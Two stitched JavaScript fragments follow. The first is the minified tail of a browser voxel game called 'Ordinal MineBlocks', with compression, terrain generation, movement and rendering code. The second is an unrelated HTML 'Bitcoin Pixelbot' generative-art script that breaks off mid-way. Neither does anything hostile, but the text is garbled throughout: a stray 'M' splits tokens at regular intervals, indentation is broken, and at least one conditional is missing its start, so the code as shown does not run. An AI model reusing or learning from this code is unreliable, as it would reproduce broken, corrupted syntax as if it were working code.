),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
text/html;charset=utf-8
        <title>Bitcoin Pixelbot</title>
            let alphabet = "123456789abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ"
              , tokenHash = window.location.href.split("/").find(t=>t.includes("i0")) || "0x" + [...Array(64)].map((t,n)=>alphabet[Math.random() * alphabet.length | 0]).join("");
            class Random {
                constructor() {
                    this.useA = !1;
                    let t = function(t) {
                  let n = parseInt(t.substr(0, 8), 16)
                          , r = parseInt(t.substr(8, 8), 16)
                          , s = parseInt(t.substr(16, 8), 16)
                          , e = parseInt(t.substr(24, 8), 16);
                        return function() {
                            s |= 0;
                            let t = ((n |= 0) + (r |= 0) | 0) + (e |= 0) | 0;
                            return e = e + 1 | 0,
                            n = r ^ r >>> 9,
           r = s + (s << 3) | 0,
                            s = (s = s << 21 | s >>> 11) + t | 0,
                            (t >>> 0) / 4294967296
                        }
                    };
                    this.prngA = new t(tokenHash.substr(2, 32)),
                    this.prngB = new t(tokenHash.substr(34, 32));
                    for (let n = 0; n < 1e6; n += 2)
                        this.prngA(),
                        this.prngB()
                random_dec() {
                   return this.useA = !this.useA,
                    this.useA ? this.prngA() : this.prngB()
                random_num(t, n) {
                    return t + (n - t) * this.random_dec()
                random_int(t, n) {
                    return Math.floor(this.random_num(t, n + 1))
            let R = new Random;
        <canvas id='c'>
            <script>
              console.log("P1xelboy 202M
              var canvas = document.getElementById("c");
              var ctx = c.getContext("2d");
              iw = window.innerWidth,
              wid = iw < 1 * (ih = window.innerHeight) ? iw : ih,
              hi = iw < 1 * ih ? iw  : ih,
              ctx.canvas.width = wid,
              ctx.canvas.height = hi;
              let hash = R.random_dec()
              let bgHash = R.random_dec()
              let mouthHash = R.random_dec()
              let eyeHash = R.random_dec()M
              let eyes = R.random_dec()
              let bodyHash = (Math.floor(R.random_dec()*5));
              let gran = R.random_dec()
              var eyeCl
              var eyeDir
              var pal
              var mouthCl
              var bgCl
              var cl=[];
              if (mouthHash > 0.86) mouthCl = "#000000"
else if (mouthHash > 0.74) mouthCl = "#444444"
else if (mouthHash > 0.6) mouthCl = "#777777"
else if (mouthHash > 0.45) mouthCl = "#440000"
else if (mouthHash > M
0.35) mouthCl = "#d7d7d7"
else if (mouthHash > 0.25) mouthCl = "#a77044"
else if (mouthHash > 0.15) mouthCl = "#D6AF36"
else mouthCl = "#AAAAAA"
if (eyeHash > 0.80) eyeCl = "#000000"
else if (eyeHash > 0.60) eyeCl = "#222222"
else if (eyeHash > 0.40) eyeCl = "#330000"
else if (eyeHash > 0.20) eyeCl = "#003300"
else eyeCl = "#000033"
if (bgHash > 0.70) bgCl = "#000000"
else if (bgHash > 0.55) bgCl = "#161616"
else if (bgHash > 0.40) bgCl = "#220000"
else if (bgHash > 0.20) bgCl = "#002200"
if (hash > 0.97) cl[0]='#222222', cl[1]='#44313d' ,cl[2]='#fca311', cl[3]='#aaaaaa', cl[4]='#eeeeee', cl[5]='#000000'
else if (hash > 0.95) cl[0]='#5bc0eb', cl[1]='#fde74c' ,cl[2]='#9bc53d', cl[3]='#e55934', cl[4]='#fa7921', cl[5]='#000000'
else if (hash > 0.9) cl[0]='#ff00c1', cl[1]='#9600ff' ,cl[2]='#4900ff', cl[3]='#00b8ff', cl[4]='#00fff9', cl[5]='#000000'
else if (hash > 0.85) cl[0]='#0b3954', cl[1]='#bfd7ea', cl[2]='#ff6663', cl[3]='#e0ff4f', cl[4]='#dddddd', cl[5]='#000000'
> 0.80) cl[0]='#d81159', cl[1]='#8f2d56' ,cl[2]='#218380', cl[3]='#fbb13c', cl[4]='#73d2de', cl[5]='#000000'
else if (hash > 0.75) cl[0]='#2b2d42', cl[1]='#edf2f4' ,cl[2]='#ef233c', cl[3]='#d90429', cl[4]='#b2c2c9', cl[5]='#000000'
else if (hash > 0.7) cl[0]='#da8c2f', cl[1]='#d7bc8a', cl[2]='#d16a65', cl[3]='#8fdccd', cl[4]='#51c8be', cl[5]='#000000'
else if (hash > 0.65) cl[0]='#d72638', cl[1]='#3f88c5', cl[2]='#f49d37', cl[3]='#5a576c', cl[4]='#f22b29', cl[5]='#000000'
else if (hash > 0.6) cl[0]='#2e294e', cM
l[1]='#efbcd5', cl[2]='#be97c6', cl[3]='#8661c1', cl[4]='#4b5267', cl[5]='#000000'
else if (hash > 0.55) cl[0]='#E3E8EA', cl[1]='#222222', cl[2]='#9BA8AE', cl[3]='#707A7E', cl[4]='#495054', cl[5]='#000000'
else if (hash > 0.5) cl[0]='#9b8816', cl[1]='#f98948', cl[2]='#5d3a00', cl[3]='#684e32', cl[4]='#f9ea9a', cl[5]='#000000'
else if (hash > 0.45) cl[0]='#c2e812', cl[1]='#91f5ad', cl[2]='#8b9eb7', cl[3]='#745296', cl[4]='#632a50', cl[5]='#000000'
else if (hash > 0.4) cl[0]='#b9e3c6', cl[1]='#59c9a5', cl[2]='#d8M
1e5b', cl[3]='#23395b', cl[4]='#fffd98', cl[5]='#000000'
else if (hash > 0.35) cl[0]='#242323', cl[1]='#3a4e48', cl[2]='#6a7b76', cl[3]='#8b9d83', cl[4]='#beb0a7', cl[5]='#000000'
else if (hash > 0.3) cl[0]='#EEF8FF', cl[1]='#D1F5FF', cl[2]='#78E3FD', cl[3]='#34F6F2', cl[4]='#7D53DE', cl[5]='#000000'
else if (hash > 0.25) cl[0]='#582936', cl[1]='#8c2f39', cl[2]='#b23a48', cl[3]='#fcb9b2', cl[4]='#fed0bb', cl[5]='#000000'
else if (hash > 0.21) cl[0]='#073b3a', cl[1]='#0b6e4f', cl[2]='#08a045', cl[3]='#6bbf59', cM
l[4]='#ddb771', cl[5]='#000000'
else if (hash > 0.16) cl[0]='#022b3a', cl[1]='#1f7a8c', cl[2]='#bfdbf7', cl[3]='#e1e5f2', cl[4]='#eeeeee', cl[5]='#000000'
